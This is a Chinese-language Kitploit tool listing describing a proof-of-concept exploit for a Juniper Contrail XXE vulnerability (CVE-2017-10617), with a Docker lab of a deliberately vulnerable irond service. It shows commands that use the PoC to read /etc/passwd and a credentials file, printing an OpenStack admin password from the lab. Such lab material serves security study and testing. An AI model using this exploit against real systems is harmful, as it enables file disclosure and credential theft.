Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-10617 — Juniper Contrail XXE 漏洞(CVE-2017-10617)的概念验证利用程序,附带基于 Docker 的实验环境,演示本地文件泄露和凭据提取。 | Kitploit
工具/GitHubGitHub/gteissier/cve-2017-10617
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试云安全学习与教育
GitHubgteissier/cve-2017-10617

CVE-2017-10617

Juniper Contrail XXE 漏洞(CVE-2017-10617)的概念验证利用程序,附带基于 Docker 的实验环境,演示本地文件泄露和凭据提取。

查看仓库
5217年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-10616 和 CVE-2017-10617

这两个漏洞影响 Juniper Contrail 版本 2.2、3.0、3.1 和 3.2:

  • 硬编码凭据 (CVE-2017-10616)
  • XML 外部实体 (CVE-2017-10617)

厂商安全公告可在 Juniper 安全警报 JSA10819 2017-10 查看。

Contrail 产品中的易受攻击的服务是一个 IFMAP 守护进程,它来自 irond。为简单起见,我们将继续使用 irond 并利用 XXE 漏洞。

易受攻击的 irond Docker 镜像

我们都喜欢动手实践。构建镜像:

root@kitploit:~
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .

该镜像基于 maven alpine 镜像,并包含 irond 仓库的克隆。

一个匹配 Contrail 设置的测试文件放置在易受攻击镜像的 /etc/contrail/openstackrc 路径下。该文件包含 OpenStack 管理员密码,这是一个相当敏感的资产。

启动易受攻击的 IFMAP 服务:

root@kitploit:~
$ docker run -ti --rm -p 8443:8443 vulnerable-irond

IFMAP 服务现在在本机的 8443 端口上可用。

概念验证:泄露本地文件

一旦设置了易受攻击的 IFMAP 服务,请执行以下操作:

root@kitploit:~
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...

这有效地揭示了 OpenStack 管理员密码。

下载工具